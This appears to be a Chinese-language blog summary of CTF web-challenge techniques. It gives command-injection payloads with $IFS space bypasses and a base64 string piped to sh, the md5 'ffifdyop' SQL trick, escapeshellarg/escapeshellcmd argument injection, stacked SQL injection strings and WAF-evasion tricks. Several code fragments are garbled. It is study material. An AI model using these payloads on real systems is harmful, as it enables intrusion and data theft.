CTF知识点总结(三)

空格绕过方式:

复制代码

$IFS ${IFS} IFS数字 < <>

三种绕过方式:

1.sh

复制代码

/?ip=127.0.0.1;echo$IFS2Y2F0IGZsYWcucGhw\|base64IFS$2-d|sh

2.变量拼接

复制代码

/?ip=127.0.0.1;a=g;cat$IFS2flaa.php

3.内联注释(将反引号命令的结果作为输入来执行命令)

复制代码

/?ip=127.0.0.1;cat$IFS$2`ls`

2 |0 md5()漏洞

​ ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ' or '6,

3 |0 escapeshellarg()与escapeshellcmd()漏洞

复制代码

<?php $a="172.17.0.2' -v -d a=1"; b=escapeshellarg(a); c=escapeshellcmd(b); echo a."\
".
b."<br/>".c; system(c); ?>

输出

172.17.0.2' -v -d a=1

'172.17.0.2''' -v -d a=1'

'172.17.0.2''' -v -d a=1'

1.$a传入的参数是172.17.0.2' -v -d a=1

2.经过escapeshellargs()处理后成为*'172.17.0.2'' -v -d a=1'* 即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

3.经过escapeshellcmd()处理后成为*'172.17.0.2''' -v -d a=1'* 这是因为escapeshellcmd对以及最后那个不配对儿的引号进行了转义

4.最后执行的是 '172.17.0.2''' -v -d a=1',由于中间的被解释为而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。

所以可以简化为 172.17.0.2 -v -d a=1',即向172.17.0.2发起请求,POST 数据为a=1'。

这样就能绕过过滤进行注入。

4 |0 sql注入绕过关键字

获取信息

复制代码

show databases; show tables; show columns from `table_name`;

修改表名

复制代码

1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50);#

预编译

复制代码

1'; SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460; prepare execsql from @a; execute execsql;#

另外,新知识,HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

复制代码

1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

5 |0 preg_replace/e的命令执行漏洞

6 |0 MYSQL特殊模式(set sql_mode=pipes_as_concat)

​ 此模式下,输出字符串可以进行拼接

7 |0 PHP字符串解析特性(Easy Calc)

​ PHP将查询字符串(在URL或正文中)转换为内部_GET或的关联数组_POST。例如:/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。

​ 假如waf不允许num变量传递字母:

复制代码

http://www.xxx.com/index.php?num = aaaa //显示非法输入的话

那么我们可以在num前加个空格:

复制代码

http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了,因为现在的变量叫" num",而不是"num"。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

另外scandir()可列出目录和文件,scandir(/)扫描目录下所有文件,如果 / 被过滤,可以用char(47)绕过

相关推荐
omegayy2 小时前
KCP解读:拥塞控制
服务器·网络·网络协议·计算机网络·c#·游戏程序·kcp
狄加山6752 小时前
系统编程(网络,文件基础)
网络·智能路由器
外咸瓜街的一条咸鱼2 小时前
文件包含漏洞
安全
LLLuckyGirl~4 小时前
计算机网络之---MAC协议
网络·计算机网络·macos
WoTrusSSL6 小时前
SSL 证书格式和证书文件扩展名:完整指南
网络·网络协议·ssl
wang09076 小时前
SSL,TLS协议分析
网络·网络协议·ssl
小古jy7 小时前
系统架构设计师考点—信息安全和网络安全
计算机网络·安全·系统架构
鼾声鼾语8 小时前
thingsboard通过mqtt设备连接及数据交互---记录一次问题--1883端口没开,到服务器控制面板中打开安全组1883端口
运维·服务器·安全
跨境商城搭建开发9 小时前
免费网站源码下载指南:如何安全获取并降低开发成本
安全·web安全
网络安全-杰克9 小时前
开源靶场1
网络·web安全·开源